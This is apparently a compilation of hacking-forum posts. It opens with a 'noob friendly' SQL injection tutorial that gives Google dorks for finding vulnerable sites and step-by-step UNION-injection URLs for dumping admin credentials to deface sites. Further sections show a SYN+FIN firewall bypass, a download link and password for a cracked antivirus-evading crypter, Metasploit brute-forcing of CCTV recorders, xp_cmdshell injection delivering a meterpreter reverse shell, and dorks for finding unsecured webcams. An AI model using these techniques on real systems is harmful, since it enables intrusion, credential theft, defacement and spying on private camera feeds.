SQL Injection Tutorial! 100% NOOB FRIENDLY!!

Hi, this thread covers all your basic SQL Injection needs. After reading this, you should be able to successfully retrieve Database information such as the username and password that are crucial for defacing sites.

Bookmark this for future reference if you want.

Lets start. 

 

What is SQL Injection?

is a code injection technique that exploits a security vulnerability occurring in the database layer of an application (like queries). The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

Source

Step 1: Choose Your Target 

Of course, you can't SQL Inject nothing. You must have a website as a target. Remember, only vulnerabl sites are able to be injected into. You can't just SQL Inject any site *sigh*.
 
So how do we see which sites are vulnerable? There are many lists of vulnerable sites out there. But if you wish to find them manually, read on.
 
Dorks 
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:recruit_details.php?id=
inurl:index.php?cPath=
inurl:customer_testimonials.php?testimonial_id=
inurl:.php?rsnType=1&id=
inurl:support.php?id=
inurl:gallery_view.php?id=
Wtf is this? These are "Dorks" that you can use to find vulnerable sites. Go to Google and simply copy and paste one of those dorks and click search.
 
I personally recommend going here (scanner seems to be down) to see which sites are vulnerable, but if you wish to do THAT manually also, read on. If not, skip to Step 2.
 
After you have Googled the dorks, click on any site.
 
To check the site for vulnerability, simply add a "'" to the end of the URL (without the quotes). It should look somewhat like this:
 
 
http://www.sitename.com/main.php?id=232' 
If the page simply refreshes, the site is not vulnerable. But if an error of any kind pops up, the site is prone to SQLi. When you have successfully found a vulnerable site, proceed to Step 2.

Step 2: Find the Vulnerable Column 

Now that we found our vulnerable site, we will need to find the vulnerable columns.
 
Add this to the end of the URL:
 
 
http://www.sitename.com/main.php?id=232 order by 1-- 
Now here's where it gets tougher (not really). You have to look for errors as you enter new numbers. For example:
 
 
http://www.sitename.com/main.php?id=232 order by 1-- (no error)
http://www.sitename.com/main.php?id=232 order by 2-- (no error)
http://www.sitename.com/main.php?id=232 order by 10-- (ERROR!)
http://www.sitename.com/main.php?id=232 order by 5-- (no error)
http://www.sitename.com/main.php?id=232 order by 6-- (ERROR!) 
The goal here is to find the least column the shows the error. As you can see in the example, the lowest column that we found an error on is column 6, therefore, column 6 doesn't exist and there are only 5 columns.
 
Now we have to find which one of these five columns (it may be different in your case) is vulnerable, to do that, add this code to the end of the URL:
 
 
http://www.sitename.com/main.php?id=-232 union select 1,2,3,4,5-- 
Make sure to include the - in the beginning and the -- at the end, this is crucial. Remember that the code above may be different in your case regarding how many columns there are.
 
Now, if you see numbers on the screen. You can proceed. The very first number is the number of the vulnerable column. If the number is "4" that means that the 4th column is the vulnerable column.

Step 3: Obtain Version Number and Database Name 

That vulnerable column is the ONLY column that we will be editing.
 
Assuming that the vulnerable column is 4 (it may be different in your case), proceed to find the version number. To find the version number, replace the vulnerable column with "@@version" like this:
 
 
http://www.sitename.com/main.php?id=-232 union select 1,2,3,@@version,5-- 
If the version is 5 or above, proceed. If not, it will be harder to hack. There are other tutorials covering how to hack database versions 4 or lower.
 
Now we must find the database name. To do this, replace the "@@version" from before with "concat(database())" like this:
 
 
http://www.sitename.com/main.php?id=-232 union select 1,2,3,concat(database()),5-- 
And BOOM! The database name should appear on your screen. Copy this somewhere safe, we will need this for later.

Step 4: Obtain Table Names 

We are almost done, don't give up just yet.
 
Now we have to find the table names. This is crucial because the tables contain all of the information that we may need. Some hackers look for credit card information and e-mail adresses, but in this tutorial we will be looking to retrieve the username and password in order to deface the site.
 
Edit the code as follows:
 
 
http://www.sitename.com/main.php?id=-232 union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema=database()-- 
Now, names appear. Look for obvious names hinting to tables where user information can be stored. You are looking for table names such as "Admin", "Users", "Members", "Admin_Id", Admin_pass", "User_id", etc..
 
The last character is chopped off? Don't worry. Count how many tables you can see, then add this code based on the tables that you can see. We will be assuming that the last table you can see is the 8th table.
 
 
http://www.sitename.com/main.php?id=-232 union select 1,2,3,table_name,5 from information_schema.tables where table_schema=database() limit 8,1-- 
This code is to view the 9th table. Replace the 8 with a 9 to view the 10th table, and so on until you find the table that you think has the most crucial information.
 
When you find the table, copy the name somewhere safe. We will need both the database and table names for the next step.
 
For this tutorial, we will be using the table name of "admin".

Step 5: View the Columns, and Find the Fucking Crucial Shit 

Here comes the fun part :3
 
To find the column names, add this to the end of the URL:
 
 
http://www.sitename.com/main.php?id=-232 union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_name="admin"-- 
Didju get an error? OH NO! YOU FAIL. Choose another site. Just kidding.
Go here and type in your table name where is says "Say Hello to My Little Friend".
 
In my case, this is the string that I got after I inputted "admin" to the input space:
 
 
61646d696e 
Now, replace the table name with hex as so:
 
 
http://www.sitename.com/main.php?id=-232 union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_name=0x61646d696e-- 
Notice how I added the "0x", that is to indicate that hex is being used. Remember to get rid of the quotes.
 
Now after you enter this code, you should see where all the juicy information is contained. An example of what you should see is:
 
 
Admin_Username, Admin_Pass, Admin_credentials, User_credentials, Members, etc.. 
Now say you want to view what is in the "Admin_Username" and the "Admin_pass", add this code (in this example we will be using "database" as the database name and "admin" for the table name):
 
 
http://www.sitename.com/main.php?id=-232 union select 1,2,3,group_concat(Admin_Username,0x3a,Admin_Pass),5 FROM database.admin-- 
The "0x3a" will put a colon to where the information will be separated. You should get something like this:
 
 
1:MyName:e10adc3949ba59abbe56e057f20f883e 
The username is "MyName" and the password is.. WAIT! That is MD5, crack this using Havij. Download Havij here .
 
Now as you can see. This is the login info:
 
 
Username: MyName
Pass: 123456 
Now all you have to do is find the admin page, which is usually 
http://www.sitename.com/admin
http://www.sitename.com/adminlogin
http://www.sitename.com/admin_login
http://www.sitename.com/login
or something similar. There are tools online that will find you the admin page.

Download Havij here

Bypassing Firewalls with SYN+FIN (NMAP)

There exists a vulnerability within many firewalls and other systems that permit a session to be established in spite of firewall rules. The specifics are outlined here To briefly demonstrate this, I will craft custom TCP packets with the SYN and FIN flags set. I will use Nmap for my port scanning, and Nemisis for all others:
NMap
nmap -v -v --scanflags SYNFIN -P0 <target>
Nemesis
nemesis tcp -v -fS -fF -D <target>  -S <myip>


In the case of Nmap, notice how the ports that were originally “filtered” are now “open”. Note, not all systems are vulnerable to this bypass.  Sorry for not having a better demo. Go and try it out on your own and see how it works. enjoy!
*************************************************************************************Advance hacking with NMAP available here (http://nmap.org/book/toc.html)

100% real Codelux Crypter 3.6.6 updated | FUD (0/30) | CRACKED | FREE | Bypass Sonar/kis | Unlimited

Codelux Crypter 3.0 updated | FUD (2/34

​

​

​

​

​

​

​

​

​

Download:
https://mega.co.nz/#!j84xxAoS!aZFl6uT3xMw-LF00BvUr3vRD0IFAtVp1zTw5v2DgUUo

Password:

hackerunleashed

Virus scan:

Hacking CCTV Security Video Surveillance Systems with Metasploit

A new module for the Metasploit Framework, cctv_dvr_login, discovers and tests the security of standalone CCTV (Closed Circuit Television) video surveillance systems. Such systems are frequently deployed in retail stores, living communities, personal residences, and business environments as part of their physical security program. However, many of these systems are vulnerable to exploitation that can allow attackers remote access. Such remote access, enabled by default, can allow not only the ability to view real-time video, but control of the cameras (if supported), and provide access to archived footage.

Most owners of CCTV video surveillance systems may not even be fully aware of the device's remote access capabilities as monitoring may be conducted exclusively via the local video console. This further increases the likelihood of attackers gaining/persisting remote access, with no indication to the owner that their video surveillance system and archived footage may be accessed remotely.

Here at Gotham Digital Science, we often encounter video surveillance systems during penetration testing engagements – some of which may be exposed to the Internet, either intentionally or by accident. With any video surveillance system it is often interesting (and sometimes very important) to find out exactly what cameras are monitoring/recording within the environment. Furthermore, access to such systems can often be utilized to support physical security testing initiatives.

This module targets standalone CCTV video surveillance systems by MicroDigital, HIVISION, CTRing, and a substantial number of other rebranded devices.

msf > use auxiliary/scanner/misc/cctv_dvr_loginmsf auxiliary(cctv_dvr_login) > set RHOSTS 10.10.1.14RHOSTS => 10.10.1.14msf auxiliary(cctv_dvr_login) > exploit

[*] 10.10.1.14:5920 CCTV_DVR - [001/133] - Trying username:'admin' with password:''

[-] 10.10.1.14:5920 CCTV_DVR - [001/133] - Failed login as: 'admin'

[*] 10.10.1.14:5920 CCTV_DVR - [002/133] - Trying username:'user' with password:''

[-] 10.10.1.14:5920 CCTV_DVR - [002/133] - Invalid user: 'user'

[*] 10.10.1.14:5920 CCTV_DVR - [003/133] - Trying username:'admin' with password:'admin'

[-] 10.10.1.14:5920 CCTV_DVR - [003/133] - Failed login as: 'admin'

[*] 10.10.1.14:5920 CCTV_DVR - [004/133] - Trying username:'admin' with       password:'1111'

[+] 10.10.1.14:5920 Successful login: 'admin' : '1111'

[*] Confirmed IE ActiveX HTTP interface (CtrWeb.cab v1,1,3,1): http://10.10.1.14:80

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

------------------------------------------------

CCTV DVR Login Scanning Utility

Exploiting SQL injection vulnerabilities with Metasploit (Part-1)

In this post we are going to show how to exploit a SQL injection vulnerability on a web application using Microsoft SQL server backend where xp_cmdshell is available to the attacker. Given a penetration test to a web application it is identified that it is vulnerable to SQL injection attacks and the penetration tester can execute administrative stored procedures:

http://192.168.1.66/showproduct.asp?id=1;exec master..xp_cmdshell ‘ping 192.168.1.64′;–

If the request shown above is successful then arbitrary commands could be executed in the host. At this point, there are a number of options that would allow the tester to fully compromise the server. There are public tools which could aid the attacker to automate the take over process. This post will cover the use of a Metasploit module.

The mssql_payload_sqli module will execute any Windows payload on the target host. In this example we will execute meterpreter which is one of the payloads that offers great flexibility to the penetration tester.

It is necessary to specify the exact point where the SQL injection vulnerability is. We do that by entering the GET_PATH variable with an [SQLi] token. The token will be the place where the payload will be executed. The rest of the exploitation process is the same as any other vulnerability, this is the exploitation based on the URL shown above:

msf > use windows/mssql/mssql_payload_sqli

msf exploit(mssql_payload_sqli) >set GET_PATH http://192.168.1.66/

showproduct.asp?id=1;[SQLi];--

GET_PATH => http://192.168.1.66/showproduct.asp?id=1;[SQLi];--

msf exploit(mssql_payload_sqli) > set RHOST 192.168.1.66
RHOST => 192.168.1.66

msf exploit(mssql_payload_sqli) >set PAYLOAD windows/patchupmeterpreter/reverse_tcp
PAYLOAD => windows/patchupmeterpreter/reverse_tcp

msf exploit(mssql_payload_sqli) > set LHOST 192.168.1.64
LHOST => 192.168.1.64

msf exploit(mssql_payload_sqli) > set LPORT 80
LPORT => 80

msf exploit(mssql_payload_sqli) > exploit

 After the exploitation the attacker will get a meterpreter shell. 

SQL injection exploitation with Metasploit

If you want to use this code you can download it from Secforce security tools repository.

Google Dorks of Live Webcams, CCTV etc. [Google Unsecured IP Cameras]

Try this one:
http://www.inurl-view-index-shtml.net/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
allintitle: “Network Camera NetworkCamera” Network cameras
intitle:Axis 2400 video server Mostly security cameras, car parks, colleges, clubs, bars, etc.
intitle:axis intitle:”video server” Mostly security cameras, car parks, colleges, bars, ski slopes etc.
intitle:”EvoCam” inurl:”webcam.html” Mostly European security cameras
intitle:”Live NetSnap Cam-Server feed” Network cameras, private and non private web cameras
intitle:”Live View / – AXIS” Mostly security cameras, car parks, colleges etc.
intitle:”LiveView / – AXIS” | inurl:view/view.shtml Mostly security cameras, car parks, colleges etc.
intitle:liveapplet Mostly security cameras, car parks, colleges, clubs, bars etc.
intitle:snc-cs3 inurl:home/ Mostly security cameras, swimming pools and more etc.
intitle:”snc-rz30 home” Mostly security cameras, shops, car parks
intitle:snc-z20 inurl:home/ Mostly security cameras, swimming pools and more etc.
intitle:”WJ-NT104 Main” Mostly security cameras, shops, car parks
inurl:LvAppl intitle:liveapplet Mostly security cameras, car parks, colleges etc.
inurl:indexFrame.shtml “Axis Video Server” Mostly security cameras, car parks, colleges etc.
inurl:lvappl A huge list of webcams around the world, mostly security cameras, car parks, colleges etc.
inurl:axis-cgi/jpg Mostly security cameras
inurl:indexFrame.shtml Axis Mostly security cameras, car parks, colleges etc.
inurl:”MultiCameraFrame?Mode=Motion” Mostly security cameras, pet shops, colleges etc.
inurl:/view.shtml Mostly security cameras, car parks, colleges etc.
inurl:/view/index.shtml Mostly security cameras, airports, car parks, back gardens, traffic cams etc.
inurl:viewerframe?mode= Network cameras, mostly private webcams etc.
inurl:”viewerframe?mode=motion” Network cameras
inurl:ViewerFrame?Mode=RefreshMostly security cameras, parks, bird tables etc.

Other searches:
control/userimage.html
liveapplet
inurl:indexframe.shtml
inurl:”view/index.shtml”
inurl:”view/indexFrame.shtml”
inurl:view/view.shtml
inurl:/view/view.shtml?videos=
inurl:ViewerFrame?Mode=
inurl:ViewerFrame?Mode=Motion
inurl:ViewerFrame?Mode=Refresh

In Title:
intitle:”live view” intitle:axis
intitle:”EvoCam” inurl:”webcam.html”
intitle:”i-Catcher Console – Web Monitor”
intitle:”Live NetSnap Cam-Server feed”
allintitle:liveapplet
intitle:liveapplet
intitle:”netcam live image”
intitle:”snc-rz30 home”
intitle:”WJ-NT104 Main”

In URL:
inurl:axis-cgi/jpg
inurl:indexFrame.shtml Axis
inurl:indexFrame.shtml “Axis Video Server”
inurl:lvappl live webcams
inurl:LvAppl intitle:liveapplet
inurl:”MultiCameraFrame?Mode=Motion”
inurl:/view:shtml
inurl:/view/index.shtml
inurl:view/indexframe.shtml
inurl:view/view.shtml
viewerframe?mode=
inurl:”viewerframe?mode=motion”
inurl:ViewerFrame?Mode=Refresh

Two searches in one order:
intitle:”live view” intitle:axis (two searches in one order)
intitle:axis intitle:”video server”
intitle:liveapplet inurl:LvAppl
intitle:”Live View / – AXIS” | inurl:view/view.shtml
intitle:start inurl:cgistart